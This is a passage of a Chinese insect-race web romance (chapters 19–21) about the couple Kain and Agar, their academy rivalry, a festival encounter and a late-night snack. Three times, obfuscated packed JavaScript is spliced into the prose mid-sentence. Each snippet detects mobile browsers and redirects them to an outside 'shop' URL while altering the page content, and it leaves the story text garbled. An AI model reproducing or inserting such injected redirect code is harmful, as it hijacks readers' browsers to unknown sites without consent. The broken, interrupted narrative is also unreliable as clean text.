“想让您好好休息而已。” 阿加尔因为这种微妙的亲密感脸上有点发热,感觉自己像那种无理取闹的吃醋的伴侣。但他知道凯恩没怪他,所以也并不怕凯恩。“问过他了,没什么急事。” “好。”凯恩也没纠结这个话题。“那你今天给我安排一个会议室,可能要和中央星沟通一下。” - 工作上的事情非常之无聊,很多事理论上需要凯恩做决定实际上也没那么重要。 凯恩戴了一副号称有保护视力作用的眼镜,盯着终端屏幕和衍生出来的投影。感觉住院其实也没多久但好像太久不看这种密集文字了,多看一会就犯晕。 “批完了。”他把手里的触屏专用笔往桌面上一丢。“极夜期的影响还在吗?要是一直是这种状态的话,中央星能放心阿加尔在这里吗?” “啊……”这种话题显然不是可以在阿加尔的地盘和副官讨论的问题。副官露出一点为难的神情。“阿加尔上将的秘书应该是出自那里。” “哦。”凯恩也只是随口一说。他心里有数就可以,似乎没必要干涉阿加尔的处境如何。 - 凯恩等待重新联络中央星的时候还在忙着继续看自己的终端记录。阿加尔给他开放了一部分关于阿加尔自己的私虫终端的权限,凯恩因此得以看到一些阿加尔的社交,他平时的爱好,他偶尔的消费。 其实这样似乎显得太过于有控制欲了。一般而言雄虫更在意经济条件,除此之外都不是雄虫会关心的东西。甚至很多雄虫看不懂这些。 但凯恩可以看懂。他一方面能感知到阿加尔给他开放的记录大概率是经过精心筛选的,看起来想在他面前树立一个克制的,积极向上的形象。但从展示出来的内容和可能被隐去的内容里也一样能看出来一些其他的东西。 雄虫查看伴侣终端怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285864|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了?完全就是天经地义的事情啊。 - 他甚至看到阿加尔购入过一套很漂亮的宠物玩具,彩色软绳编织的啃咬环、会发荧光的弹力球,还有一小盒星兽专用的梳毛器。也许是用来送给朋友的,毕竟他们没有宠物,他也没在家见过这些。 阿加尔看样子不太喜欢在购物上花费太多时间,很多时候都是选择默认选项和销量最高的链接,这套也不例外。 “这是什么?”他问阿加尔。 阿加尔没回复,大概是工作中没看到。凯恩想象了一下此雌虫握着那个发光弹力球扔出去然后叫某只毛茸茸的小星兽捡回来的样子。毛发蓬松体型圆润的星兽欢快地蹿出去,又叼着球跑回他脚边。然后感觉颇有些微妙。 一方面觉得应该会很可爱,一方面又觉得为什么自己没有在现场亲眼看到,好像很值得遗憾一下。 - 阿加尔回复得很晚,凯恩自己也进入了封闭会议。雌虫看起来语气有点儿小心翼翼。“是送给索恩上将的,他当时捡到一只很漂亮的星兽。” 雌虫没有雄虫那么在意外观。而阿加尔都说“很漂亮的星兽”了,那想必是真的很漂亮。 “你去给他的星兽过生日?怎么没带我。” 凯恩回得毫无营养。 原因可能是他当时没空,也可能是因为此种聚会是小范围的聚会,参与者都是雌虫,当然不至于带他去。虽然理论上来说大家都是同僚,但关系当然也有远近之分。 他现在很喜欢跟阿加尔说这些毫无道理莫名其妙的对话。说是借此调戏阿加尔好像程度又太重,但总之就是喜欢逗弄他看他反应。 - “其实当时,是想问他要一只星兽幼崽来送您的。”阿加尔回复。“因为他好像有繁育计划。” 他当然记得这件事情。 “但是那只星兽当时还在幼年期。长大后危险评级升得太高,感觉不适合我们这样的家庭饲养。” 其实没有。星兽对于凯恩这样精神力极高的雄虫来说往往都很乖巧可爱,它们会遵循本能服从讨好雄虫。而凯恩自己也是上将,驯服一只星兽绝非难事。 但这件事情里面含有他大量的私心,即使到现在他也不想讲给凯恩听。 - 其实阿加尔不说凯恩也能猜到。 以凯恩的等级,怎么会没办法饲养一只星兽? 更多的原因当然是,阿加尔不会允许有别的东西——哪怕只是一只宠物——来分走凯恩可能投注的注意力。他们的空间,他们的时间,乃至身为伴侣情绪起伏的缘由,阿加尔都希望独占才好。 雌虫就是这样的生物。很正常。 不过没关系,身为雄主,凯恩大度地包容了阿加尔这种过于强烈的独占欲,也并没有在他面前说破。 - “是吗?那可惜了。” 凯恩的回复轻描淡写,这让阿加尔觉得自己的决定似乎很正确。 “不过不养也好。我现在觉得,家里只有我们两个,好像也确实够了。” 19. 19.宝石发卡和脸红。 其实还在上学的时候,凯恩从来没想过会和某位雌虫一起规划彼此的未来。 - 第一次注意到阿加尔,是第一学期成绩排名公布的时候。 当时凯恩总是骄傲而冷淡,不向任何雌虫同学投去眼神,但他的成绩又总是名列前茅,总能被动地吸引非常多的注意力。 其实雄虫很多时候并不会如此追求成绩,但凯恩这样选择了雌多雄少专业的雄虫总有种和谁较劲的感觉。 受限于先天体质,他的训练效率往往不及普通雌虫同学。可他懂得运用自己的长处,精心调整计划,承受更高强度的训练,一步步靠近自己想要的结果。 但他没想到最后自己居然没有拿到第一。 - 看到结果的第一件事就是拉取成绩明细。微乎其微的差距,大概可以说是毫厘之间。 令凯恩稍有些诧异的是他的精神力测试居然不是班上唯一一个满分。他能拿满分属于天赋异禀,而雌虫想拿满分的话则需要花费数倍努力,就像机甲实操之于凯恩一样。 他本以为那些雌虫不会在这门课上花费那么大的精力。 专业第一的名字写在名单最前面,“阿加尔”。是凯恩的目光永远忽略过的那些雌虫之一。 也是凯恩此前没注意的第二个满分。 从前的时候,阿加尔也会注视他吗?也许在训练室挥汗如雨的时候他也会看到阿加尔从身边经过?这个名字代表的雌虫在凯恩印象中是个模糊的身影,他想不起它所代表的具体的面容。 - “你想从他们里面选出你未来的雌君吗?”凯恩的雄父问他。 凯恩在家里毫无形象地躺着刷终端,从学校通讯录里翻看那些名字。他假装自己只是漫无目的地看来看去,但实际上他想要看的也只是那一个名字而已。 阿加尔。 在这个名字在内心里打转的时候,被雄父这么问其实是很吓虫的。虽然这种问题倒是很正常,但凯恩心里有鬼,回答得就颇为不自然。 “啊?呃……我没兴趣。”凯恩磕巴了一下,把终端扔到一边,用手臂遮住眼睛说。“其实我记不住大部分的雌虫。” 扔到一边的终端似乎不小心碰到了什么,凯恩翻动的页面被投影在自己和雄父之间。 空气里有淡淡的灰尘飘过,当下型号最新最昂贵的终端投影似乎还有点淡。一张束着长发的雌虫的脸,眼睛那抹绿色显得格外浓绿,仿佛深而清澈的潭水。 “……阿加尔。”雄父念出这个名字。“这是你的同学吗?” - 凯恩撑着沙发坐起来,对雄父龇了一下牙,非常幼稚地表达了对这个行为的不满。“是啊。” “把他加入你的备选名单?” 雄父并不觉得这是个糟糕的话题。小雄子躺得毫无仪态他也没和他计较,也许这种戏言般的“伴侣挑选”在他看来也是小雄子可以有的某种任性之一。 但这个阶段的凯恩最希望自己显得成熟,最讨厌自己给任何虫留下任性的印象。 “……不是。”凯恩抿了一下嘴唇。“只是因为……他是本学期的第一名而已。” “哈哈!”雄父笑得非常没道理,惹恼了还没过觉醒期的小雄子纤细又敏感的心情。 “笑什么啦!”凯恩大声说着,一把抓住终端关闭屏幕。 那张让凯恩难以忘记的脸从空气里倏地消散,光线熄灭,柔软的灰尘慢慢散落。雄父大笑着转身离开,而凯恩揉了一把自己的头发,想做点什么又什么都没做。 “我下次会超过他。……不是,我会超过所有雌虫!连他一起超过。” - 凯恩不觉得阿加尔是第一名有什么特殊意味。他相信阿加尔也只会是落在他名字之后的某个没什么意义的名字而已。 而且,一旦表露出对某个雌虫的在意,对双方来说都是麻烦的事。 但他确实会莫名其妙地在各种时刻觉察到阿加尔的存在。 在训练室余光掠过的侧影,在走廊尽头一闪而过的背影,在名单上紧紧挨着自己名字的那个名字。 - 下半学期恰好遇上校庆。各种庆祝活动填满学生们的日程表。对于新生,他们会得到很多参与表演的机会。除了某些乐器之类特殊的才艺之外,还会安排一些话剧节目之类的表演。 刻板印象里这种时候雄虫们总能大出风头。但凯恩一来确实没时间习练乐器,二来平时已经得到了足够多的注视,并不渴望在聚光灯下再添一笔。 因此他推拒了所有邀请,没有参与这种展示,决心做一个单纯的观众。 排练会有专用的剧场与活动场地,所以凯恩也没见过那些节目的安排。但在表演节目之前校园游行的时候,很多打扮得非常夸张的演员中间,凯恩还是一眼就认出了阿加尔。 - 阿加尔大约是参演了什么上古神话相关的剧目,打扮得十分大胆。雌虫身上自带的虫纹是深色的,而为了装饰又以金色颜料绘出繁复的纹路。那些线条蜿蜒纠缠,与原有的纹路交织重叠,透出一种近乎妖异的美感。 游行开始得很早,演员们必须在出发前就完成所有妆造。凯恩站在游行起点的喧嚣边缘,远远看见阿加尔和他的室友互相帮忙修补脱落的金彩。 室友的指尖蘸着颜料,正小心地沿着阿加尔肩胛的弧度勾勒,金色颜料覆上光洁皮肤,凯恩莫名其妙的就脸上发烫。 - 这本来不是什么特别的场景,凯恩也没必要这样挪开视线。雄虫随口称赞雌虫的体格或装扮,在此刻热闹的气氛里再平常不过。 那些覆盖在虫纹之上的彩绘,其实也形成了一层视觉上的遮掩,让这份“暴露”显得不那么私密。 但凯恩不知道为什么就有点不自在,他下意识别开视线,转身混入了另一侧虫群。 在接下来的时间里,他有意识地绕开了所有可能遇见阿加尔的路。 - 阿加尔其实很希望凯恩可以看到他。 凯恩表现得对雌虫全无兴趣,不论身边的雌虫怎样明示或者暗示他都无动于衷,甚至有说法称凯恩其实还没度过觉醒期,并不是可以追求的对象。 但凯恩自己也没明说,所以雌虫们都蠢蠢欲动,又想靠近他,又在他冷冰冰的面容下不敢造次。 但雄虫会欣赏雌虫的力量感大约是源于某种本能,所以在庆典上才会选择这样的服饰和演出。 凯恩会因为这样的妆造而稍微有点动容吗? - 游行开始前,演员们在准备区做最后的整理。阿加尔肩颈处一片金彩因动作摩擦有些脱落,露出底下深色的原生虫纹。 他本来并不在意,直到余光瞥见凯恩的身影出现在不远处的观众区——似乎正漫不经心地望着他们这个方向。 于是阿加尔叫住身边的室友。“我肩上……帮我补一下颜色,可以吗?” 室友扭过头,满脸疑惑:“刚才问你不是说不用补吗?反正游行起来谁看得清。” “现在想补了。”阿加尔吞咽了一下,坦然承认。 - 室友顺着他的视线望去,顿时了然。“哦——看到某只雄虫了?”他一边用手指随意蘸着着金彩颜料,一边露出那种调侃的笑。“怪不得突然在意起来。” 阿加尔没有否认,只是微微侧过身,将脱落彩绘的位置暴露在室友面前。室友摇摇头,还是蘸着金色细心替他补画起来。 阿加尔绷着肩,能感觉到自己的心跳又快又重,仿佛在胸腔里敲着鼓。 而远处,凯恩似乎朝这个方向多看了一眼……也许只是错觉,但阿加尔已经连呼吸都放轻了。 “好了,”室友轻轻拍了下他的背,“现在够显眼了,保证他能看见。” 阿加尔几乎屏住呼吸。他低声道了谢,不敢再往那个方向看,却又忍不住暗暗期待来自那个方向的目光。 他会……满意自己看到的吗? - 凯恩没有再去刻意注意阿加尔。他只是跟随着游行队伍,听着其他虫族的欢呼和鼓掌,然后跟着分流的秩序步入观礼的场所。 他的位置谈不上太好,那些涂着金色的雌虫们的身影似乎也都大同小异,凯恩并不觉得有什么值得注意的。 他看到阿加尔了吗? 也许看到了,也许没有。但实际上这个念头本身就不应该出现在此时才对。 - 为了避开散场时最拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285865|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤的那一阵,凯恩故意多坐了一会儿。等到喧哗渐渐稀疏,他才起身朝出口走去。 或许是心不在焉,又或许是走廊灯光过于昏暗、指示并不清晰。他推开了一扇看起来像是出口的门。 门后并不是他以为的出口,而是一间宽敞的化妆准备间。 而阿加尔正转过身来,手里还拿着半湿的棉片,金色的纹路从颈侧褪去一半,眼底带着那种意料之外的怔然。 也许是因为长发编发有点碍事,他取掉了一部分发饰,让原本盘起来的长发辫垂落下来。而又因为发辫太长,影响他自己卸脖子上的妆容,阿加尔把辫子的发梢叼在了自己嘴里。 这画面明明没什么不得体的地方,但那截发尾被阿加尔叼在齿间的样子,却让凯恩控制不住地立刻面红耳赤起来。 - 这场景简直就像故意的,凯恩忍不住想。 虽然阿加尔身上的戏服还没换,但卸妆过程中会露出本色皮肤,感觉类似于闯入了更衣室看到了阿加尔换衣服。 虽说只是上衣,没那么严重吧……但还是不礼貌。 凯恩从不觉得自己有权随意轻视雌虫,也从未理所当然地认为所有雌虫都该对他抱有好感——尽管事实或许如此,但他此刻对此一无所知。 因此他的第一反应是离开,立刻离开。 他飞快地低下头,说了声“抱歉”,就打算从门口退出去。 - 就在凯恩后退的瞬间,化妆桌上某件散落的饰物被阿加尔不小心带落。造型各异的装饰物被散乱地堆在一起,而阿加尔此刻心思不在此处,也就并没能注意到它们的摇摇欲坠。 一枚金色镶着细碎宝石的发夹叮叮当当滚过地面,清脆的声响在突然安静的房间里异常清晰。 阿加尔几乎是瞬间起身想去捡,可凯恩的动作更快——他已本能地弯腰,指尖先一步触到了那枚尚带余温的发饰。 一切仿佛在这个瞬间被用力按下暂停键。阿加尔嘴里还无意识地衔着自己那缕碍事的发尾,像什么呆呆地抱着尾巴的星兽幼崽。 凯恩意识到自己正把一个体态结实的雌虫当成什么值得怜爱的小动物,不由得也惊了一下。 - 发饰捏在凯恩指尖,显得雄虫的皮肤越发白皙。 阿加尔后知后觉感到尴尬。他松开牙齿,让发辫垂落在自己肩头,声音微微发哑。“请给我吧,多谢您。” 那么客气?凯恩想。 他觉得阿加尔应该知道自己是谁,就像自己知道阿加尔一样。但阿加尔的语气又格外客套,好像面对一个陌生雄虫。 “嗯。你脸红什么。”他抬起手,没有把发夹放在阿加尔手心,而是突然靠近对方,把发夹固定在了阿加尔的发梢上。 这个动作本身没什么道理,因为凯恩只是觉得阿加尔看起来发辫蓬松,忍不住就想伸手碰一下才好。 然后他立刻意识到这好像刚刚还被阿加尔叼在嘴里,于是就这样自己也脸上发烫了。 - 阿加尔能闻到凯恩身上极淡的、也许是属于雄虫的气息,看到他微微颤动的眼睫。他甚至忘了呼吸,只能眼睁睁看着那只手抬起,将发夹轻轻别回他垂落的发辫上。 血液冲上头顶,脸颊热得发烫,如果转过身面对镜子的话阿加尔觉得自己大概会看到一张红得要滴血的脸。 实在是……太过于失态了。 阿加尔垂下眼,看着阿加尔和他被灯光拉长、几乎交叠在一起的影子,一动也不敢动。发辫上那枚精致的宝石发卡冰冷地贴在他的锁骨边缘,切面被灯光照得流光溢彩。 - “抱歉。”阿加尔压着声音说,强自镇定。“您找错出口了吗?我带您去?” 他伸手就要拿自己的外套,但凯恩疾走几步,伸手扶住阿加尔的手臂让他重新坐下。“我能找到。你忙你的吧。” 他停顿片刻,看着阿加尔,仿佛想起什么似的。“要不要我帮你拆掉这个辫子?” 虽然阿加尔确实需要拆掉碍事的编发,但让凯恩在他身边这么近的距离摆弄他的头发的话对他而言实在太超过了。 他深吸一口气。“别在意,我自己可以处理。” “凯恩阁下。” 20. 20.夜宵。 “死对头”传闻似乎是最先在此学期末传出。 学期末凯恩如愿拿到了第一名,成绩公示上压了阿加尔一头。阿加尔对此不置可否,只是淡淡地说恭喜凯恩阁下。而凯恩竟对此次成绩表现出了超乎寻常的在意。 这种微妙的反差迅速引发了议论。毕竟凯恩向来独来独往,从未对谁显露过如此鲜明的态度。 若非视对方为特别的对手,又怎会唯独在这件事上如此执着? - “——据说他们曾经在训练室一起卷到半夜,然后因为互相看不顺眼出去约了一架。” “开玩笑吧约会还差不多,哪有雌虫会和雄虫阁下约架?” “那谁知道。阿加尔有把凯恩阁下当成雄虫阁下吗?” - 那是个很普通的夜晚。凯恩从训练舱出来的时候累得想吐,好在时间足够晚,没有多余的旁观者会看到他的狼狈姿态。 虽然他并不介意有些雌虫在背后说他如何,但如果当面碰上的话他还是有点不自在。 训练室走道雪白的灯光亮得晃眼睛,汗水挂在睫毛上,需要时不时抬手抹一下。凯恩不太想去浴室,也不太想喝奇怪口感的功能饮料,他只想买一支口味淡一点的营养液立刻喝完,然后撑着疲惫的身体回宿舍去。 - 汗水模糊的视线里,某个雌虫似乎背对着他立在自动售货机边。 凯恩轻轻叹了口气。他原本不希望在这里遇到任何可能认识自己的虫族。 蓬松的长发散落下来,雌虫回过头,一张足够熟悉的脸。 太糟糕了。不但他认识自己,自己当然也记得对方。 - 站在那里的雌虫看起来神情从容得就像路过训练室。凯恩不由得有一点嫉妒。毕竟标准训练内容对他来说非常折磨,而对于身体健康的高等级雌虫来说只是很快就能恢复的普通锻炼而已。 对于阿加尔这种雌虫来说,在训练室呆到这么晚似乎也是毫无必要的事情。 - 凯恩停顿了片刻,阿加尔很自然地先开了口。自动售货机的灯光映得他神情有些清冷,但开口的时候听起来倒是很温和,没有那种微妙的亲近或者敌意。 “来买营养液?”阿加尔发出没什么意义的疑问。 “嗯。”凯恩发出一声鼻音。 这实在算不上好的开场白。毕竟训练室的自动售货机品类少得要命,除了营养液就是功能饮料,也没什么多余的选项可供挑拣。 他的目光飘过阿加尔那张面无表情的脸,浓绿的眼睛似乎和照片上一样让虫印象深刻。 - “……那给你吧,补货还得要一会儿。”阿加尔说。 他垂下眼睛,伸出手,把手里还没拧开的透明管状物递给了凯恩。 阿加尔和凯恩对视,凯恩似乎微微皱着眉头,汗液从他额角滑落下来,漂亮得让阿加尔不敢多看。 但这个样子的凯恩本身就极有魅力,阿加尔又舍不得避开自己的目光。 - 很明显自动售货机的补货是有周期性的。补货任务进程的进度条闪闪烁烁。 按照往常的情况来说,这种补货需要至少二十分钟。由机械臂慢慢调整那些分类混乱的食物,然后将少于计划内数量的品类填满,然后自动售货机才可以重新开始工作。 原本在这个时间和地点是没有虫族光顾的,它可以慢吞吞地自己工作,而不是像现在这样被两位顾客盯着看。 时间这么晚了,自动售货机居然还不能下班。 - “这样啊,”凯恩三两口喝光这支营养液,顺手把包装抛进一边的回收处理口,突然又改了主意。 “你饿了吗,我请你吃夜宵?” 虽然刚从训练舱出来已经很累了,但呆在阿加尔身边的时候他似乎又有种难言的兴奋,这让他此前疲惫昏沉的感觉一扫而空。 只是绕一下路去食堂,听起来似乎也是可以接受的事情。 - 如果这句话发生在两位雌虫面前,大概算是个非常正常乏味的社交交流。 反正雌虫们最多也就是去食堂还开着的窗口给自己买一份什么能量充足的食物,然后借着这点机会讨论一些不会太长却又没办法在回宿舍路上就讨论完成的话题。 但凯恩是雄虫,他的邀约当然又不一样。 - 阿加尔似乎停顿了片刻,从他脸上的表情似乎也看不出什么。 难道阿加尔想拒绝吗?凯恩忍不住想。 其实大部分雌虫都不会拒绝凯恩。凯恩没有经历过被直接拒绝的场景。 但也许阿加尔看他其实不太顺眼,选择把最后一支营养液给他也只是怕自己找他麻烦也说不定。 毕竟阿加尔似乎是少有的不对凯恩流露出某些情感的那种雌虫。也许对他来说纠结一下当下机甲最新型号远比雄虫性格如何有意思多了。 - ——凯恩是那种会随意地邀请碰到的雌虫同学单独吃饭的雄虫吗? 又或者是因为他把营养液给了凯恩,让他觉得自己对他服软,所以给他这样慷慨的回报? 阿加尔看着凯恩,意识到对方其实也没打算做什么,甚至可以说几乎没有多想。 只是他自己知道凯恩是雄虫,又恰好和其他雌虫一样对凯恩有些别样的心思,所以脑补过甚,期待某些剧情而已。 “好啊,凯恩阁下。”他轻飘飘地说着。“走吧,我们去食堂。” - 阿加尔知道凯恩什么其他意思也没有。而且他需要非常努力才能在凯恩面前表现得若无其事,以免被凯恩发现他的某些心思。 这风险非常大。或许一旦被发现,凯恩就会和他保持更远的距离,连像现在这样偶尔的互动都得不到。 然而,就算阿加尔什么都知道,他也还是舍不得拒绝这个机会。 或者说,身为雌虫,靠近自己暗恋的雄虫、顺从雄虫的要求几乎算得上是本能反应。他不可能拒绝自己的心上虫心血来潮般的邀请。 - “两份套餐,”凯恩探身对窗口里的师傅说,训练后的呼吸还没完全平复,“份量大些,刚刚训练完。” 阿加尔乖乖坐在一边,抬手去束自己的长发。 雌虫长发披散的时候会遮住后颈裸露出来的皮肤,而此刻阿加尔主动把它们束成一把,松松地挽在脑后,某些蜿蜒的虫纹就这样在皮肤上若隐若现。 他表现得实在很听凯恩的安排。 - 凯恩没注意到这种微妙的气氛而阿加尔当然也不可能提醒他。不如说这种气氛正合阿加尔意。深夜,单独出行的雄虫和雌虫,雄虫还穿着非常衬身材的作战服,而雌虫表现得十分乖顺。 即使不是准伴侣,至少也该已经在暧昧期。 食堂的师傅见惯了此种搭配,趁阿加尔的角度是背对窗口,他抬起手,对凯恩做了个“放心”的手势。 - 凯恩没懂那个手势是什么意思,但他身上还穿着训练服,于是他单方面理解为“看出来你们刚训练完了不必多说”。 他回到阿加尔身边坐下,他们简单交流了几句,凯恩的呼吸也渐渐平复。束起长发的阿加尔和披发又有点不一样,凯恩盯着他的脸,猜想可能是某种色彩搭配的原因。 此处的灯光要柔和一些,而长发束起来之后脸上五官似乎也格外鲜明。阿加尔神情专注,稍稍偏过头的时候脑后的长发轻轻一晃,让凯恩很想伸手去拨一下,整理那些偶尔会粘在皮肤上的发丝。 即使凯恩自己也留着长发,这种感觉还是不太一样的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285866|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 机器虫很快地滑动而来,掀开盖子,把餐盘端上桌推到他们面前。 凯恩面前是普通版本的主食,阿加尔面前是加大份量的,端出来的时候还冒着热气。 而和这两份主食一起来的是一块爱心形的奶油蛋糕,被机器虫摆在阿加尔和凯恩的正中间。 - 和粗糙堆放的食物比起来,蛋糕的造型堪称精美。表面花边形奶油的涂抹似乎有点仓促,但整体造型仍然对称而美观,感觉甚至值得拍一张发到个虫主页。 爱心形的蛋糕。在虫族世界当然也是表达一些暧昧的情感。 这是什么意思?阿加尔抬头看一眼凯恩再看一眼蛋糕。 也许只是凯恩身为雄虫想要补充一点甜食能量。他警告自己不许流露出那种期待的神情。 - “你吃吧。”凯恩似乎为他呆呆的表情笑了一下。“你刚刚还给过我营养液。” 这句话说得好像很暧昧似的,但实际上就只是字面上的意思。 阿加尔明明听出来了歧义,但他不知道凯恩是故意还是无意,于是只能装作自己也没听懂。 “嗯。我……” - 凯恩好像终于理解了刚刚那个窗口师傅手势的含义,但他也不打算说给阿加尔听,只是含蓄地笑了一下。 要解释吗?好像也没必要,不要破坏此刻的气氛,让双方都不自在。 - 是特意为他点的吗? 是有什么他没意识到的事情发生了吗,或者有什么他没听懂的弦外之音? 阿加尔拿起手里的餐匙又放下。他此刻也非常想拿出终端拍摄一张,为这个看起来以后很难再有的待遇。 “你不想吃?为了保持身材?”凯恩单手托腮,偏着头看他。 一句很明显的玩笑。不可能有雌虫为了保持身材而节食的,而阿加尔的锻炼日常里似乎也没有忌口的要求。 - 话音未落,阿加尔已经伸手把蛋糕拖到自己面前,好像担心凯恩反悔。 银叉落下,切面是艳丽的果酱。他吃得很仔细,叉子沿着奶油边缘刮下一圈,露出底下湿润的戚风胚。 舔舐奶油的样子有点像什么小动物,凯恩觉得他应该是故意的,知道自己这样会显得很可爱,就很自然地这样表现出来。 凯恩好像从来没想过,通常情况下,大家并不会觉得像阿加尔这样身形结实的雌虫可爱。 在普遍追求强悍力量感和肌肉线条的雌虫世界里,“可爱”这个形容词是多么突兀的存在。尤其是用在阿加尔这样身形精悍的雌虫身上。 - 夜宵时间结束之后他们就各自离开了。确实只是雄虫的一时心血来潮,并没有含有其他含义。 凯恩当然没觉得这是很值得在意的事情。虽然他没和其他雌虫一起这样独处过,但这种独处似乎也不意味着什么。 而阿加尔当然也不愿向其他任何虫族说出自己的想法。他对这顿夜宵相当留恋,表面上却还要安之若素。 即使这个片段并不意味着任何,他也非常珍惜这一小段独处的时光。 - 至于阿加尔最后会被当成是和凯恩约架,大概是因为他只承认自己碰到了凯恩但又不愿说到底发生了什么。 对雌虫们来说能和雄虫约会多少算是一件值得炫耀的事情,雄虫们也并不在意表达自己对某位雌虫的青睐。没有虫族会像阿加尔这样隐瞒。 但凯恩遇到阿加尔的时候态度似乎仍然很微妙。阿加尔连问他一下都不敢,当然也不敢随便给自己打上“和凯恩约会过”的标记。 至于“约架”,虽然听起来很荒谬,但又意外符合了现在的“二位当事虫族都不想透露情况”的态度。就这样被慢慢默认了。 - 21. 21.还挺会撒娇。 当两位被看作是“死对头”的话,任何他们之间相关的举动都会被往这个方向解读,刻意或者无意地,直到这个标签做实在他们身上。 比如凯恩和阿加尔在小组合作中偶然被分到一个小组但从来不说话,此行为被解读为高傲的雄虫阁下对这个没眼色的阿加尔看不顺眼。 又比如凯恩压过阿加尔的时候阿加尔站在公示栏边看了很久,此行为则被解读为是身为雌虫的阿加尔对雄虫的不甘心。 再比如某些讨论课的争执。他们语气通常都不会很激烈,但听者几乎都能听出来其中明显的否定感,清晰地表达着他们对对方的观念无比不认可。 当然也有虫问过阿加尔这种“死对头”关系,毕竟一般没有虫敢拿这个话题去问凯恩。但阿加尔的回复非常平淡,实在没什么话题感。 “……只是巧合。” - 阿加尔其实并不介意自己的名字总和凯恩的联系在一起,但他不想让凯恩知道自己的真实心思,又不想让凯恩真觉得自己对他看不顺眼,所以只能用这种敷衍的托词解释一切。 凯恩没有因此疏远他,但看起来也没有对他多在意。 他们好像只是偶尔会在训练室碰上,在离开训练室的时候偶尔点头,或者更多的其实是在某些模拟排位赛里和对方隔着机甲相对。 小组作业署名的时候他们的名字签在一起,凯恩的笔画很长,收笔的时候会顿一下,而阿加尔则是稍稍缩小了签名大小,让自己的名字和凯恩的挤在了一起。 小组队友认为阿加尔此种幼稚行为想必是和凯恩较劲。某好事者甚至说可以重新签名让阿加尔签在凯恩的上面,但由于没有一个虫胆敢去让凯恩返工,阿加尔自己当然也不想给凯恩留下此种印象,此话题最后不了了之。 - 凯恩当然也知道这样的事情,但这些对他的影响比对阿加尔少得多。 他不太社交,也不太在意自己在异性心目中的形象,当然不介意其他雌虫认为自己是恋慕阿加尔还是厌恶他。 他似乎本能地忽略了阿加尔的想法。阿加尔自己是怎么想的呢?他会对这个永远和自己较劲的雄虫产生某些负面情绪吗?他在名次被凯恩压过的时候会怎么想?在他得到第一名的时候,又会怎么看待紧随其后的凯恩? 这些事情似乎不应该被归属于无关紧要。但他又强迫自己别太在意。 也许只是某种害怕失望的心情而已。 - 在这种微妙的平衡下,年轻的雄虫就这样迎来了自己的觉醒期。 凯恩的精神力水平一直都偏高,觉醒期预警不算准确,他也并没有把这些当成是很严重的事情。 精神力水平增长的时候就会伴随发热,身体成长或者恢复的时候也会伴随高热,凯恩觉得觉醒期和这些情况也差不多,不过是又一次寻常的体温起伏,不需要太过于在意。 但高热爆发的时候,一切似乎都不一样了。 - 雄虫阁下的住宿条件远远好于雌虫和亚雌们,但也因为是独居,有些情况下也有不方便之处。 凯恩觉得自己仿佛被火点着了,他躺上床裹住被子,妄图通过调整姿势让自己舒服一点。他忍不住地想蜷缩起来,但又因为力气的流失无法做到。 他的监测仪发出糟糕的异响,提醒他提前安排自己去住院。 计划里原本是他可以从容地收拾东西,在精神状态正常的时候自己去找预约过的医生,然后平静地度过这个状态。但此刻他只能紧急拨号,让医务组把他从这个仅安装了普通换气系统的房间带走。 - 至于为什么来的是阿加尔……大概是因为阿加尔的名字莫名其妙排在了第一个。 他本以为置顶名字应当是紧急联系人才对。 不过状态异常的雄虫发错信息,应该也不至于被苛责。 - 阿加尔正准备出门,终端提示音响了一声。 那是陌生消息的专属提醒。平日里,他几乎从不会为这样的动静停留。可就在那一刻,仿佛被什么无形的东西轻轻牵了一下指尖,他垂下目光,拿起了终端。 屏幕亮起。 来信方那里,跳动着那个他无比熟悉的名字。 凯恩。 - 凯恩要求他去雄虫宿舍,甚至对他开放了紧急情况下的宿舍权限。 以他们的关系,这种情况实在太越界了。 他犹豫了一下,尝试给凯恩拨了个视频通讯。 对方没有应答。 会是什么紧急情况吗?阿加尔想。 他不敢赌这个异常情况。毕竟开放宿舍权限对雄虫而言也并不是一件常见的事情。也许这意味着某种陷阱,也许这并不是凯恩的真实意思,但如果凯恩确实发生了什么意外而他收到消息却没有应答的话,先不提事后的责任划分,他自己应当会追悔莫及。 他确实喜欢凯恩,各种意义上的。 喜欢凯恩也很正常,凯恩就是那种耀眼的雄虫。他对雌虫们的态度总是不假辞色,有种鲜明的距离感,但也并没有那种令虫厌恶的感觉。 在雌虫占多数的专业里,他的成绩甚至能让最苛刻的雌虫同学心服口服。即使是对于同性而言这一点本身已极具魅力,何况是阿加尔这样的异性。 当然,还有一点无法忽略—— 他确实生着一张让阿加尔难以移开目光的脸。 - 